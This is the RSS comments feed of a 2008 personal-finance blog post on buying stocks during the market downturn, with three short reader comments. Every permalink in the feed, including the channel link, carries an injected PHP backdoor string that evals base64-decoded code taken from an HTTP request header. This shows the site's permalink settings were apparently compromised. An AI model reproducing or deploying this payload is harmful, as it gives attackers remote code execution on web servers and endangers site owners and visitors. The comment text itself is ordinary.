<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>
<channel>
	<title>Comments on: Two Sides of a Coin</title>
	<atom:link href="http://www.jeanchai.com/?feed=rss2&#038;p=89" rel="self" type="application/rss+xml" />
	<link>http://www.jeanchai.com/2008/10/28/two-sides-of-a-coin/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
	<description>A Step Closer to Financial Freedom</description>
	<pubDate>Tue, 07 Sep 2010 18:24:13 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.5.1</generator>
		<item>
		<title>By: Nadlique</title>
		<link>http://www.jeanchai.com/2008/10/28/two-sides-of-a-coin/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comment-160</link>
		<dc:creator>Nadlique</dc:creator>
		<pubDate>Thu, 09 Apr 2009 05:25:28 +0000</pubDate>
		<guid isPermaLink="false">http://www.jeanchai.com/?p=89#comment-160</guid>
		<description>Been a while since I last heard from you. How have you been?</description>
		<content:encoded><![CDATA[<p>Been a while since I last heard from you. How have you been?</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Millionaire Acts</title>
		<link>http://www.jeanchai.com/2008/10/28/two-sides-of-a-coin/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comment-152</link>
		<dc:creator>Millionaire Acts</dc:creator>
		<pubDate>Fri, 26 Dec 2008 16:08:17 +0000</pubDate>
		<guid isPermaLink="false">http://www.jeanchai.com/?p=89#comment-152</guid>
		<description>If I didn't see myself as having a liquidity need in the near future as I plan to work abroad, I would have taken advantage of the beaten stock prices. A lot oif analysts say that it will go back to its "normal" values on the fourth quarter of next year.</description>
		<content:encoded><![CDATA[<p>If I didn&#8217;t see myself as having a liquidity need in the near future as I plan to work abroad, I would have taken advantage of the beaten stock prices. A lot oif analysts say that it will go back to its &#8220;normal&#8221; values on the fourth quarter of next year.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: banking88</title>
		<link>http://www.jeanchai.com/2008/10/28/two-sides-of-a-coin/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comment-149</link>
		<dc:creator>banking88</dc:creator>
		<pubDate>Wed, 26 Nov 2008 13:35:43 +0000</pubDate>
		<guid isPermaLink="false">http://www.jeanchai.com/?p=89#comment-149</guid>
		<description>Yes, it's indeed a great opportunity to value buy at this time. Lots of quality companies trading at low PE. The key is to invest for the long term...</description>
		<content:encoded><![CDATA[<p>Yes, it&#8217;s indeed a great opportunity to value buy at this time. Lots of quality companies trading at low PE. The key is to invest for the long term&#8230;</p>
]]></content:encoded>
	</item>
</channel>
</rss>
